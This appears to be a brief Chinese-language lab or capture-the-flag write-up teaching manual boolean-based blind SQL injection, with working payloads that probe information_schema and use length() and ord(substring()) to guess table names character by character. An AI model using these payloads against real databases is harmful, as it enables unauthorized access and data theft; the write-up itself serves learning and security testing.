首先:先寻找一下注入点:
输入admin回显为
再试试等于2的
提示不存在,说明这边存在注入点,
接着来构造payload
先得出这个数据库中的表的数量
admin' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #
最后用and ‘1’=’1也行 (--+不行)
最后正常回显说明数据库中的表大于1,并且咱们的payload构造的没有错,接下去就是要猜表的数量的,此处我们就直接省略........(改后面的数字就行了)
知道表的数量后接着就是要得到逐个表名的长度,继续构造payload
admin' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1); #
成功回显
同样的接下去要据徐猜数字
在知道第某张表的表名长度后就可以来得到每个表的表名了
admin' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1 #
成功回显
这边ord函数是把字符转为ascii码,接下去就是猜表名了,就这里的每个>1这么一个位置都是需要自己去猜的,然后对应的表是由limit函数控制的,对应的表的名字的字符是由substring来控制的。
接下去求列名和列值都是一样的步骤和思路,感觉最好还是用脚本吧,可以手工一次,理清其中的思路。OK!